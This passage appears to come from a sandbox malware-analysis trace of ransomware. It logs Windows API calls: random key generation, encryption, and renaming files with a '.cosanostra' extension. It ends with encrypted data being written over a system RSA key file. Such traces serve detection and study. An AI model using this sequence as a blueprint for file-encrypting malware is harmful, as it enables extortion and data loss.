pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\MySite.ico.cosanostra") returned 61 [0096.865] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\MySite.ico" (normalized: "c:\\users\\all users\\microsoft\\office\\mysite.ico"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\MySite.ico.cosanostra" (normalized: "c:\\users\\all users\\microsoft\\office\\mysite.ico.cosanostra")) returned 1 [0096.875] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff550 | out: pbBuffer=0x26ff550) returned 1 [0096.875] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff548*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff548*=0x30) returned 1 [0096.875] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\DRM\\Server\\.." (normalized: "c:\\users\\all users\\microsoft\\drm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0096.875] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff550 | out: pbBuffer=0x26ff550) returned 1 [0096.875] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff548*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff548*=0x30) returned 1 [0096.875] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\DRM\\Server\\." (normalized: "c:\\users\\all users\\microsoft\\drm\\server\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0096.877] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff538 | out: pbBuffer=0x26ff538) returned 1 [0096.877] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff530*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff530*=0x30) returned 1 [0096.877] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0096.878] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff538 | out: pbBuffer=0x26ff538) returned 1 [0096.878] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff530*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff530*=0x30) returned 1 [0096.878] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_settings.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_settings.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0096.879] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff530 | out: pbBuffer=0x26ff530) returned 1 [0096.879] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff528*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff528*=0x30) returned 1 [0096.879] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_property.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_property.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0096.879] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff530 | out: pbBuffer=0x26ff530) returned 1 [0096.879] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff528*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff528*=0x30) returned 1 [0096.879] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0096.880] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff528 | out: pbBuffer=0x26ff528) returned 1 [0096.880] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff520*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff520*=0x30) returned 1 [0096.880] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_queue.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_queue.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0096.880] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff528 | out: pbBuffer=0x26ff528) returned 1 [0096.880] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff520*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff520*=0x30) returned 1 [0096.880] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_property.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_property.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0096.881] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff520 | out: pbBuffer=0x26ff520) returned 1 [0096.881] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff518*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff518*=0x30) returned 1 [0096.881] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_pref.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_pref.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0096.881] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff520 | out: pbBuffer=0x26ff520) returned 1 [0096.881] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff518*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff518*=0x30) returned 1 [0096.881] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\folder.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\folder.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0096.883] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff518 | out: pbBuffer=0x26ff518) returned 1 [0096.883] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff510*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff510*=0x30) returned 1 [0096.883] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-us\\resource.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0096.885] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff510 | out: pbBuffer=0x26ff510) returned 1 [0096.885] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff508*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff508*=0x30) returned 1 [0096.885] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\wmp.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\wmp.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0096.885] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff508 | out: pbBuffer=0x26ff508) returned 1 [0096.885] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff500*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff500*=0x30) returned 1 [0096.885] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0096.886] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff508 | out: pbBuffer=0x26ff508) returned 1 [0096.886] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff500*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff500*=0x30) returned 1 [0096.886] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\sync.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\sync.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0096.886] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff500 | out: pbBuffer=0x26ff500) returned 1 [0096.886] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff4f8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff4f8*=0x30) returned 1 [0096.887] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\settings.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\settings.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0096.887] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff500 | out: pbBuffer=0x26ff500) returned 1 [0096.887] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff4f8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff4f8*=0x30) returned 1 [0096.887] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\ringtones.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\ringtones.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0096.887] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff4f8 | out: pbBuffer=0x26ff4f8) returned 1 [0096.887] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff4f0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff4f0*=0x30) returned 1 [0096.887] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0096.887] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff4f8 | out: pbBuffer=0x26ff4f8) returned 1 [0096.887] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff4f0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff4f0*=0x30) returned 1 [0096.887] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\pictures.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\pictures.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0096.888] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff4f0 | out: pbBuffer=0x26ff4f0) returned 1 [0096.888] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff4e8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff4e8*=0x30) returned 1 [0096.888] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\netfol.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\netfol.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0096.888] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff4f0 | out: pbBuffer=0x26ff4f0) returned 1 [0096.888] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff4e8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff4e8*=0x30) returned 1 [0096.888] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\folder.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\folder.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0096.890] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff4e8 | out: pbBuffer=0x26ff4e8) returned 1 [0096.890] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff4e0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff4e0*=0x30) returned 1 [0096.890] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-us\\resource.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0096.896] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff4d8 | out: pbBuffer=0x26ff4d8) returned 1 [0096.896] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff4d0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff4d0*=0x30) returned 1 [0096.896] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0096.896] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff4d8 | out: pbBuffer=0x26ff4d8) returned 1 [0096.896] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff4d0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff4d0*=0x30) returned 1 [0096.896] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0096.896] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff4d0 | out: pbBuffer=0x26ff4d0) returned 1 [0096.896] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff4c8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff4c8*=0x30) returned 1 [0096.896] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0096.900] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff4c8 | out: pbBuffer=0x26ff4c8) returned 1 [0096.900] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff4c0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff4c0*=0x30) returned 1 [0096.900] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0096.901] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff4c8 | out: pbBuffer=0x26ff4c8) returned 1 [0096.901] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff4c0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff4c0*=0x30) returned 1 [0096.901] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0096.901] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff4c0 | out: pbBuffer=0x26ff4c0) returned 1 [0096.901] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff4b8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff4b8*=0x30) returned 1 [0096.901] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0096.901] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff4c0 | out: pbBuffer=0x26ff4c0) returned 1 [0096.901] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff4b8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff4b8*=0x30) returned 1 [0096.901] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0096.901] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff4b8 | out: pbBuffer=0x26ff4b8) returned 1 [0096.902] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff4b0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff4b0*=0x30) returned 1 [0096.902] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0096.902] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff4b8 | out: pbBuffer=0x26ff4b8) returned 1 [0096.902] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff4b0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff4b0*=0x30) returned 1 [0096.902] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\s-1-5-18\\6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0096.903] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned 122 [0096.903] StrStrW (lpFirst="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpSrch=".txt") returned 0x0 [0096.904] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffffd1, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.904] WriteFile (in: hFile=0x160, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2f, lpNumberOfBytesWritten=0x26ff474, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x26ff474*=0x2f, lpOverlapped=0x0) returned 1 [0096.904] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.904] WriteFile (in: hFile=0x160, lpBuffer=0x26ff4b4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff474, lpOverlapped=0x0 | out: lpBuffer=0x26ff4b4*, lpNumberOfBytesWritten=0x26ff474*=0x4, lpOverlapped=0x0) returned 1 [0096.904] WriteFile (in: hFile=0x160, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff474, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x26ff474*=0x30, 